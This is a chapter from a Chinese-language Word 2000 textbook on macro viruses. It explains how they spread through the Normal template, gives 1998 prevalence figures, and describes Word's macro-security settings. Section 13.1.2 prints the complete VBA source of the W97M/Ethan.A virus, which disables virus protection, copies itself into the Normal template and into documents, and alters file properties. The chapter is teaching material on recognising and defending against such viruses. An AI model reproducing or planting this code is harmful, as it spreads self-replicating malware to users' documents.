宏是Word 里一個非常有用的工具,但也是Word 的安全漏洞之一。 有一些惡意的人利用宏制造宏病毒,給別人帶來麻煩。宏病毒是一 種寄存在文檔或模板的宏中的計算機病毒。一旦打開這樣的文檔, 宏病毒就會被激活,轉移到計算機上,并駐留在 Normal 模板上。 從此以后,所有自動保存的文檔都會“感染”上這種宏病毒,而且 如果其他用戶打開了感染病毒的文檔,宏病毒又會轉移到他的計算 機上。
13.1 宏病毒
宏病毒已經成為發展最快和傳播最迅速的病毒。美國國際計算機 安全協會ICSA 的《ICSA 1998 病毒流行調查報告》表明宏病毒獨占 1998 年十大病毒感染事件的72%,在十大病毒中占了五席交椅: WM/Concept、WM/Cap、WM/Wazzu、WM/Npad 和XM/Laroux。根據 DataFellow 公司每天特征碼升級的F-Macro 所檢測到的宏病毒數 目,至1998 年12 月達到了3,332 個,而在1997 年12 月才是1,821 個,增長率為83.0%。而且F-Macro 并不能檢測到所有宏病毒。在1998 年12 月出現了Word Class Object 的宏病毒,是由VicodinES 編寫的。
13.1.1 宏病毒
許多應用程序都允許在用戶的數據庫中包含一些宏,隨著應用軟 件的進步,宏語言的功能也越來越強大,其中微軟的Word Visual Basic for Application(VBA)已經成為應用軟件宏語言的標準。 利用宏語言,可以實現幾乎所有的操作,還可以實現一些應用軟件 原來沒有的功能。每個模板或數據文件中,都可以包含宏命令。
有不少應用軟件允許用戶利用宏修改軟件菜單的功能,并可以將 某一個宏加入到菜單中或設置成自動運行的命令。利用這個功能, 宏就可以修改軟件本身的功能,從而將軟件本身修改為病毒傳播的 源泉。
宏病毒就是利用Word VBA 進行編寫的一些宏,這些宏可以自動 運行,干擾用戶工作,輕則降低工作效率,重則破壞文件,使用戶 遭受巨大損失。
一旦打開含有宏病毒的文檔,其中的宏就會被執行,于是宏病毒 就會被激活,轉移到計算機上,并駐留在Normal 模板上。從此以后, 所有自動保存的文檔都會“感染”上這種宏病毒,而且如果其他用戶打開了感染病毒的文檔,宏病毒又會轉移到他的計算機上。
宏病毒成為傳播最快的病毒,其原因有三個:第一,現在用戶幾 乎對可執行文件病毒和引導區病毒已經有了比較一致的認識,對這 些病毒的防治都有一定的經驗,許多公司、企業對可執行文件和磁 盤的交換都有嚴格的規定。但對宏病毒的危害還沒有足夠的認識, 而現在主要的工作就是交換數字文件,因此使宏病毒得到迅速傳播。 第二,現在的查病毒、防病毒軟件主要是針對可執行文件和磁盤引 導區設計的,一般都假定數據文件中不會存在病毒,而人們相信查 病毒軟件的結論,從而使隱藏在數據文件中的病毒成為漏網之魚。 第三,CD-ROM 和Interenet 使病毒的傳播速度大大加快
如果某個文檔中包含了宏病毒,我們稱此文檔感染了宏病毒;如 果Word 系統中的模板包含了宏病毒,我們稱Word 系統感染了宏病 毒。
Word 2000 無法掃描軟盤、硬盤或網絡驅動器上的宏病毒(要得 到這種保護,需要購買和安裝專門的防病毒軟件)。但當打開一個 含有可能攜帶病毒的宏的文檔時,它能夠顯示宏警告信息。這樣就 可選擇打開文檔時是否要包含宏,如果希望文檔包含要用到的宏(例 如,單位所用的定貨窗體),打開文檔時就包含宏。如果您并不希望在文檔中包含宏,或者不了解文檔的確切來源。例如,文檔是作 為電子郵件的附件收到的,或是來自網絡或不安全的Internet 節點。 在這種情況下,為了防止可能發生的病毒傳染,打開文檔過程中出 現宏警告提示時最好選擇【取消宏】。
Word 軟件包安裝后,系統中包含有關于宏病毒防護的選項,其默 認狀態是允許【宏病毒保護】復選框。如果愿意,可以終止系統對 文檔宏病毒的檢查。當Word 顯示宏病毒警告信息時,清除【在打開 帶有宏或自定義內容的文檔時提問】復選框。或者關閉宏檢查:單 擊【工具】菜單中的【宏】命令,再從級聯菜單中選擇【安全性】 命令,出現【安全性】對話框,選擇【安全級】選項卡,將安全級 別設為【無】。不過一般建議用戶不要取消宏病毒防護功能,否則 會失去這道防護宏病毒的天然屏障。
13.1.2 宏病毒示例
為了更好地理解宏病毒, 我們仔細分析一下宏病毒 W97M/Ethan.A。
下面是該病毒的代碼。
Private Sub Document_Close()
On Error Resume Next
s = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options: .ConfirmConversions = 0: .VirusProtection
= 0: .SaveNormalPrompt = 0: End With
Randomize
If Dir("c:\ethan.___", 6) = "" Then
Open "c:\ethan.___" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item
(1).CodeModule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item
(1).CodeModule.Lines(i, 1)
Print #1, a
Next i
Close #1
SetAttr "c:\ethan.___", 6
End If
If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys"
If NormalTemplate.VBProject.VBComponents.Item
( 1 ) .CodeModule.Lines ( 1, 1 ) <> "Private Sub
Document_Close()" Then
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf ActiveDocument.VBProject.VBComponents.Item
( 1 ) .CodeModule.Lines ( 1, 1 ) <> "Private Sub
Document_Close()" Then
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else
t = ""
End If
If t <> "" Then
Open "c:\ethan.___" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
Line Input #1, a
t.CodeModule.InsertLines i, a
i = i + 1
Loop
q:
Close #1
If Rnd < 0.3 Then With Dialogs
( wdDialogFileSummaryInfo ) : .Title = "Ethan
Frome": .Author = "EW/LN/CB": .Keywords =
"Ethan": .Execute: End With
If Left(ActiveDocument.Name, 8) <> "Document" Then
ActiveDocument.SaveAs
FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved
= s
End Sub
W97M/Ethan.A 是一種寄生型宏病毒,由一個宏組成,能夠感染 Word 系統中的文檔和模板。在感染過程中,W97M/Ethan.A 使用一種 特殊的算法,從自己的源文件向宿主文件傳送病毒代碼,在源文件 中存放的是以VBA 代碼形式存放的病毒程序。一旦感染成功,W97M/Ethan.A 會刪除自身的有關文件,隱藏蹤跡,并將感染所有訪 問過的Word 文件
在被感染的Word 文件中,大概有三成幾率的文件屬性會被病毒 更改,其標題會被改為“Ethan Frome”,而作者會被改為“EW/LN/CB”。 如果發現上述特征,則說明此文檔已被W97M/Ethan.A 宏病毒感染。
對已感染的文檔進行操作,可能會出現以下問題:
(1)在存儲文檔時,無法以Word 文檔格式存儲,而只能存儲為 Word 模板格式。
(2)在打開文檔時,Word 系統會向用戶詢問文檔的開啟密碼, 否則無法訪問該文件。
(3)在清除了宏病毒之后,仍然看不到Word 系統中的某些命令 或選項,它們可能已被宏病毒刪除。